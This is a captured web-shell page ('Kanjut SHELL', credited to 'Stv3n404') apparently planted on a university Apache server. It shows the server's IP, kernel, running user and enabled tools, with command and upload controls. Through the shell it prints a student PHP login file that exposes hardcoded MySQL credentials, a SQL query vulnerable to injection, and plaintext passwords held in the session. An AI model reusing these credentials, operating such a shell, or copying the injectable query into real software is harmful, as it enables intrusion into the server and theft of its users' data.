Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.106.7
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rlbarner/www/forgotuserpass.php
<?php   session_start();
        $username = $_SESSION['username'];
        $_SESSION['username'] = $username;
        $password = $_SESSION['password'];
        $_SESSION['password'] = $password;

        $fire = $_POST['fire'];
        $_SESSION['fire'] = $fire;
        $water = $_POST['water'];
        $_SESSION['water'] = $water;
        $earth = $_POST['earth'];
        $_SESSION['earth'] = $earth;

        $host = 'localhost';
        $user = 'rlbarner';
        $passwd = 'cs480';
        $database = 'rlbarner';
        $connect = mysql_connect($host, $user, $passwd);
        $table_name = 'CYOAUsers';

        $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'";
        mysql_select_db($database);
        $result = mysql_query($query, $connect);

        if(($result) && (mysql_num_rows($result) > 0))
        {


?>

<TITLE>CYOA Forgot Username Form</TITLE>
<HEAD><link rel="stylesheet" type="text/css" href="advstyle.css"></HEAD>
<BODY>
<H2>Forgot Username/Password?</H2>
<HR>

<Form action=forgotuserpassaction.php method=post>
Please choose the security question which you signed up with, and provide your security answer.
<BR><BR>
<B>Security Question:</B> <SELECT name=secQ>
			<OPTION value=1>1. What is your favourite pet's name?</OPTION>
			<OPTION value=2>2. What is your mother's maiden name?</OPTION>
			<OPTION value=3>3. What city were you born in?</OPTION>
			<OPTION value=4>4. What was your favourite book when you were a child?</OPTION>
			<OPTION value=5>5. What was the name of your high school?</OPTION>
			<OPTION value=6>6. What is your favourite food?</OPTION>
			<OPTION value=7>7. What is your nickname?</OPTION>
		</SELECT>
<BR><BR>
<B>Security Answer</B>: <INPUT type=text name=secAns size=15>
<BR><BR>
<INPUT type=submit value=Submit>  <INPUT type=reset value=Reset>

</Form>
</BODY>
<HR>

<FONT SIZE=2><I>Navigation:</I>
<BR>
<A HREF=forgotuserpass.php>Forgot Username/Password?</A><BR>
<A HREF=changepwform.php>Change Your Password</A><BR>
<A HREF=userstatsaction.php>See Your Statistics!</A><BR>
<A HREF=resetuserstatsaction.php>Reset Your Statistics</A><BR>
<A HREF=removeacctaction.php>Remove Your Account</A><BR>
</FONT>

<?php
		print "<BR><FONT SIZE=2>Logged in as $username  <A HREF=cyoalogout.php>Logout</A></FONT>";
	}
	else
	{	print "<FONT SIZE=4><B>Error!<BR><A HREF=cyoalogin.html>Click</A></B></FONT>";
	}
?>



Stv3n404 - 2023